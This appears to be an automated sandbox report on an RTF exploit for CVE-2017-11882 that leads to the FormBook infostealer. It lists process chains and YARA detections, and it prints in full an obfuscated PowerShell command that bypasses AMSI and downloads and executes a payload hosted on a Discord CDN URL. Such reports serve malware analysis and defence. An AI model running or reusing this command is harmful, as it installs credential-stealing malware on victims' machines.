Rule: rtf_cve2017_11882_ole, Description: Attempts to identify the exploit CVE 2017 
11882, Source: 
00000000.00000003.562381137.0000000006339000.00000004.00000001.sdmp, Author: 
John Davison

Reputation: high

Show Windows behavior

Show Windows behavior

User Modules

Hook Summary

Processes

Analysis Process: WINWORD.EXE PID: 672 Parent PID: 596Analysis Process: WINWORD.EXE PID: 672 Parent PID: 596

General

File CreatedFile Created

File DeletedFile Deleted

Key CreatedKey Created

Key Value CreatedKey Value Created

Key Value ModifiedKey Value Modified
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 21:46:19

Start date: 02/12/2021

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AEC8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

Start time: 21:46:19

Start date: 02/12/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: CmD.exe /C cscript %tmp%\Client.vbs        A  C

Imagebase: 0x4a960000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 21:46:20

Start date: 02/12/2021

Path: C:\Windows\SysWOW64\cscript.exe

Wow64 process (32bit): true

Commandline: cscript  C:\Users\user\AppData\Local\Temp\Client.vbs        A  C

Imagebase: 0x120000

File size: 126976 bytes

MD5 hash: A3A35EE79C64A640152B3113E6E254E2

Has elevated privileges: true

Has administrator privileges: true

Analysis Process: EQNEDT32.EXE PID: 1232 Parent PID: 596Analysis Process: EQNEDT32.EXE PID: 1232 Parent PID: 596

General

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: cmd.exe PID: 1812 Parent PID: 1232Analysis Process: cmd.exe PID: 1812 Parent PID: 1232

General

Analysis Process: cscript.exe PID: 2700 Parent PID: 1812Analysis Process: cscript.exe PID: 2700 Parent PID: 1812

General
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File ActivitiesFile Activities

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 21:46:21

Start date: 02/12/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: Powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*iUtils') {$
c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like '*Context') 
{$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.Inte
ropServices.Marshal]::Copy($buf, 0, $ptr, 1);$0462662046266204626620462662046266
204626620462662=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,11
6,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,
39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,3
9,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,5
1,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43
,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,10
8,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,
98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48
,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,9
1,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,
52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,
41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97
,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,4
1,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,
91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,
48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99
,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,1
01,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114
,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,6
9,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,7
0,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,5
4,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,
111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,
116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32
,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108
,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,
110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46
,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,12
1,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,
83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,8
3,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,
65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,
98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77
,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,
69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114
,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,57,
49,53,51,52,55,56,52,53,55,53,50,55,48,53,49,48,57,47,57,49,53,55,57,57,56,48,48,55,52,48,
52,54,50,54,54,50,47,109,111,110,111,46,106,112,103,39,44,36,102,97,108,115,101,
41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,6
9,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,
58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110
,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,1
10,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101
,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetStrin
g($0462662046266204626620462662046266204626620462662)|I`E`X

Imagebase: 0x13fef0000

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

Show Windows behavior

Show Windows behavior

Analysis Process: powershell.exe PID: 2652 Parent PID: 1304Analysis Process: powershell.exe PID: 2652 Parent PID: 1304

General

File ReadFile Read
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File ActivitiesFile Activities

Start time: 21:46:48

Start date: 02/12/2021

Path: C:\Windows\SysWOW64\calc.exe

Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0x940000

File size: 776192 bytes

MD5 hash: 60B7C0FEAD45F2066E5B805A91F4F0FC

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000002.510729080.0000000000080000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000002.510729080.0000000000080000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000002.510729080.0000000000080000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000000.473605358.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000000.473605358.0000000000400000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000000.473605358.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000000.473336925.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000000.473336925.0000000000400000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000000.473336925.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000002.511533102.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000002.511533102.0000000000400000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000002.511533102.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000A.00000002.510812516.0000000000280000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000A.00000002.510812516.0000000000280000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000A.00000002.510812516.0000000000280000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

Analysis Process: calc.exe PID: 3060 Parent PID: 2652Analysis Process: calc.exe PID: 3060 Parent PID: 2652

General

File ReadFile Read

Analysis Process: explorer.exe PID: 1764 Parent PID: 3060Analysis Process: explorer.exe PID: 1764 Parent PID: 3060
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Start time: 21:46:52

Start date: 02/12/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0xffa10000

File size: 3229696 bytes

MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000B.00000000.492675256.000000000986B000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000B.00000000.492675256.000000000986B000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000B.00000000.492675256.000000000986B000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000B.00000000.502031840.000000000986B000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000B.00000000.502031840.000000000986B000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000B.00000000.502031840.000000000986B000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

Start time: 21:47:04

Start date: 02/12/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe

Imagebase: 0x800000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

General

Analysis Process: rundll32.exe PID: 236 Parent PID: 1764Analysis Process: rundll32.exe PID: 236 Parent PID: 1764

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000C.00000002.684885243.00000000001F0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000C.00000002.684885243.00000000001F0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000C.00000002.684885243.00000000001F0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000C.00000002.684930109.00000000002B0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000C.00000002.684930109.00000000002B0000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000C.00000002.684930109.00000000002B0000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000C.00000002.684853632.00000000000D0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000C.00000002.684853632.00000000000D0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000C.00000002.684853632.00000000000D0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

Start time: 21:47:09

Start date: 02/12/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del "C:\WINDOWS\syswow64\calc.exe"

Imagebase: 0x4abf0000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ReadFile Read

Analysis Process: cmd.exe PID: 2176 Parent PID: 236Analysis Process: cmd.exe PID: 2176 Parent PID: 236

General
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